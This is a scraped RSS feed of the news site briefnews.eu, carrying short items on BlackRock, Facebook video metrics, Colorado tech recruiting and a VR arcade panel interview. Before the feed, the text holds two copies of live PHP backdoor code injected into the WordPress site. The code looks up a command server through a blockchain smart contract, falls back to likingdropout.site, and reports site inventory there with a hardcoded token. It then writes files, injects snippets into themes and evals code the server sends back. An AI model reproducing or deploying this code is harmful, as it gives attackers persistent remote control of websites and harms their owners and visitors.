// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Pivot – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Mon, 26 Nov 2018 06:33:15 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Pivot – Brief News https://briefnews.eu 32 32 BlackRock is making changes at the top as the $6.4 trillion manager continues its pivot towards Asia-Pacific https://briefnews.eu/blackrock-is-making-changes-at-the-top-as-the-6-4-trillion-manager-continues-its-pivot-towards-asia-pacific/ https://briefnews.eu/blackrock-is-making-changes-at-the-top-as-the-6-4-trillion-manager-continues-its-pivot-towards-asia-pacific/#respond Mon, 26 Nov 2018 06:33:15 +0000 http://briefnews.eu/blackrock-is-making-changes-at-the-top-as-the-6-4-trillion-manager-continues-its-pivot-towards-asia-pacific/ Geraldine Buckingham_BlackRockBlackRock

  • US global investment giant BlackRock has appointed Geraldine Buckingham as chair and head of BlackRock Asia Pacific, as the $ 6.4 trillion manager continues its Asia-Pacific pivot.
  • Buckingham, global head of corporate strategy at BlackRock, will succeed Ryan Stork from February 2019.
  • The shift comes as BlackRock continues to consider Asia-Pacific as one of its “most critical priorities”, according to chairman and CEO Larry Fink.

US global investment giant BlackRock has appointed Geraldine Buckingham as chair and head of BlackRock Asia Pacific, as the $ 6.4 trillion manager continues its Asia-Pacific pivot.

Buckingham formerly served as senior managing director and head of corporate strategy, and will now be placed at the center of BlackRock’s Asia-Pacific push.

See the rest of the story at Business Insider

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See Also:

SEE ALSO: Everyone at Davos is talking about ‘Larry’s letter’

]]> https://briefnews.eu/blackrock-is-making-changes-at-the-top-as-the-6-4-trillion-manager-continues-its-pivot-towards-asia-pacific/feed/ 0 A New Facebook Suit Makes ‘Pivot to Video’ Even More Myopic https://briefnews.eu/a-new-facebook-suit-makes-pivot-to-video-even-more-myopic/ https://briefnews.eu/a-new-facebook-suit-makes-pivot-to-video-even-more-myopic/#respond Thu, 18 Oct 2018 01:07:13 +0000 http://briefnews.eu/a-new-facebook-suit-makes-pivot-to-video-even-more-myopic/ A new lawsuit alleges that Facebook inflated its video viewership numbers more than previously reported, and then hid the mistake. And that has journalists steamed.


https://media.wired.com/photos/5bc784737fefbf3d4e78e3b4/master/pass/Zuck-FB-Video-PAKAMM.jpg

]]> https://briefnews.eu/a-new-facebook-suit-makes-pivot-to-video-even-more-myopic/feed/ 0 Denver companies launch Pivot to Colorado campaign targeting Silicon Valley talent https://briefnews.eu/denver-companies-launch-pivot-to-colorado-campaign-targeting-silicon-valley-talent/ https://briefnews.eu/denver-companies-launch-pivot-to-colorado-campaign-targeting-silicon-valley-talent/#respond Mon, 02 Apr 2018 16:36:31 +0000 http://briefnews.eu/denver-companies-launch-pivot-to-colorado-campaign-targeting-silicon-valley-talent/

Tech companies in the U.S. heartland are stepping up their efforts to convince tech talent to leave the Bay Area — and parroting some Silicon Valley lingo to do so. On Monday, a group of 10 Colorado tech companies announced the formation of the Colorado Technology Recruiting Coalition, with the goal of supercharging efforts to recruit tech wo…Read More

]]> https://briefnews.eu/denver-companies-launch-pivot-to-colorado-campaign-targeting-silicon-valley-talent/feed/ 0 VR developers pivot to location-based entertainment https://briefnews.eu/vr-developers-pivot-to-location-based-entertainment/ https://briefnews.eu/vr-developers-pivot-to-location-based-entertainment/#respond Sat, 04 Nov 2017 17:34:37 +0000 http://briefnews.eu/vr-developers-pivot-to-location-based-entertainment/

Virtual reality in the home is taking off slower than expected, as evidenced by CCP Games’ decision to shut down VR game development. But there’s a good chance that VR will find a way to thrive in arcades, whether in Asia’s Internet cafes or America’s shopping malls.

Should VR game makers pivot to the arcades? Greenlight Insights recently staged a whole conference about this opportunity, where 450 people talked about the prospects for location-based VR entertainment and other opportunities. In some ways, it makes sense as high-quality PC-based VR is still expensive to buy, and arcades can write off the equipment over many users.

I moderated a panel on VR arcade development at Greenlight Insights’ VR Arcade Summit at the recent Virtual Reality Strategy Conference in San Francisco. Our panelists included Marc-Antoine Pinard, CEO of VR development studio Lucky Hammers in Montreal; Nick Cooper, chief creative officer at VR kiosk maker VRX Networks; Vien Ha, CEO of iSimu VR; and Jonathan Flescher, head of business development and partnerships at VR animation studio Baobab Studios.

Here’s an edited transcript of our interview.

Above: VRS arcade panel

Image Credit: Dean Takahashi

Nick Cooper: I’m from VRX Networks. We’re a production and distribution company. We produce our content in-house, but we also work with content providers, and we have a range of VR kiosks here in the U.K. We’re expanding into Australia and South America.

We work exclusively with movie studios. We have a multi-picture deal with Sony. We started off with Emoji Movie, we just released Jigsaw, and we’re about to release Jumanji. For us, we have these kiosks and franchisees who host them, and we provide a constant stream of movie-based experiences into those kiosks.

Jonathan Flescher: I head up business development and partnerships for Baobab Studios. Baobab creates narrative, story-driven content in a VR environment. The first one was Evasion. The second one, Asteroids, is coming out this holiday season. The third, Rainbow Crow, will be some time next year.

Vien Ha: I head iSimu VR. We’re a virtual reality arcade, and the well-known secret is we’re also a software company. We’re developing VR arcade management software, similar to Springboard. Today’s our first announcement around that. It’ll be released in about two months. I’m also an advisor for Subdream Studios in the commercial space.

Marc-Antoine Pinard: I’m from Lucky Hammers in Montreal, although now I’m Los Angeles-based as well. We used to be a game studio and now we’re a technology company. You can try Apex, which we just announced yesterday in a partnership with Starbreeze, on their Star VR technology.

Basically, we’re a bunch of guys from movies, gaming, and location-based entertainment. I came from a company making arcade games. If you ever played Fruit Ninja on the big screen at Dave and Buster’s, that was us. We’re world-builders. We believe in a cross-platform strategy, taking a story and finding different angles on it using different media. All this other stuff notwithstanding, books are still good, right? It’s just a question of taking storytelling to a new level.

Along with the release of Apex, we’re announcing a partnership with A&E and one of their TV shows, creating something that’s an in-depth experience and a historical piece as well. We have much more to come.

Above: Jonathan Flescher of Baobab VR tries out StarVR at VRS.

Image Credit: Dean Takahashi

GamesBeat: As far as a development strategy for VR arcades, who wants to tackle that first? When you started thinking about arcades and VR content, how did you approach that?

Cooper: I come from an LBE background. I worked very closely with Marvel to produce a big touring attraction. When I got into VR I was fortunate enough to witness some really moving pieces. It’s an amazing platform to tell a story. My business partner comes from a marketing background, and so we looked at how we could create a Starbucks approach to this, a franchisable approach.

We’re both from the studio end, so our focus was always on studios – developing deals with studios so we can create not just advertising pieces, but fully interactive, immersive stories. That’s always been our approach. So in regards to what content we choose, that’s it. I’ve been in the licensing industry for a long time – everything from stage shows to exhibitions to activations. When that big brand IP is up there and people form a relationship with that, it’s trusted. To have a constant pipeline of that content coming out around the same time as the film, you leverage a lot of the marketing spend and buzz around that to drive people to our kiosks.

GamesBeat: Would you call them games, or–?

Cooper: I call them interactive stories, but it’s—I think it’s hard. The Emoji thing, it was a less-than-favorably-reviewed film, let’s say? But to us, it didn’t matter. We have these attract loops on the screens and kids just see these emojis, these funny characters dancing around with a VR headset on. They just come up and put their grubby ice-cream hands all over the thing and the want to be part of it. Kids under 12 made up 35 percent of our sales in that first summer holiday period. IP has a strong hold.

Pinard: To your point, it’s not about the success of another medium necessarily driving the success of VR. If you bring in a good simple mechanic to play with, you’re going to get people’s attention. You’re going to get their interest. As far as I’m concerned, ideas are shit. It’s all about execution. If it’s simple, if it works, if people are going straight to it and they’re understanding what they’re doing off the bat, if you don’t need to teach what there is to be done, they’re going to take it from there and make their own dream out of it. That’s where you can catch their attention.

Cooper: A couple sessions ago someone made a good point. Obviously there’s a gazillion shoot-‘em-up games out there, right? Everyone loves that. But when you tell stories, like these guys do and like we’re trying to do, you get that connection. People coming into it, they relate with characters. With Emoji you go in there and interact with High-Five. You see the mirror there and choose to be Poop. You can play Just Dance and get this big thing going on.

With Jigsaw it’s like an escape room. You have to crank this lever and beat this other guy. It has this ticking time bomb intensity. It’s not as big as Emoji, but there’s a visceral, emotional experience that you get from this kind of story. We have a 95 percent approval rating once people come out. That’s one thing I would say that everybody here—it’s about good content if you’re going to have sustainability. With ILM and VRC and these guys, quality content is what’s going to build this industry. The better the content you have in your arcades, that’s going to be key.

GamesBeat: Jonathan, you guys are taking that approach. You don’t have games either?

Flescher: No, we don’t have games. We don’t specifically design for location-based entertainment. We’re trying to design and drive for that narrative, story-driven experience. We layer interactivity on top of that.

Right now the market is kind of fragmented. There are lots of different plans and business models around what LBE is. Very much like when the platforms first came out, it’s very focused on games. “Hey, this is great, I can do modern laser tag in these shooting games.” But very quickly there came an understanding that narrative, story-driven content really does have a place in location-based entertainment.

What I’ve been seeing personally, there’s a kind of full spectrum of everything: from what we do, which is more theatrical with some interactivity laid on top, to video game experiences, to what I would call more “light amusement park” or even heavier amusement park experiences. You might have 4D effects, physical objects, even robotic arms like what Spasis does. All of that spans the definition of LBE. Right now, we don’t develop specifically for experiences that require additional hardware development.

Above: A scene from Baobab’s Rainbow Crow.

Image Credit: Baobab

GamesBeat: Your first two experiences were pretty short, but Rainbow Crow sounded like it was going to be a bigger experience.

Flescher: Yeah, about 30 minutes.

GamesBeat: I wonder how you would try to bring that to an arcade setting

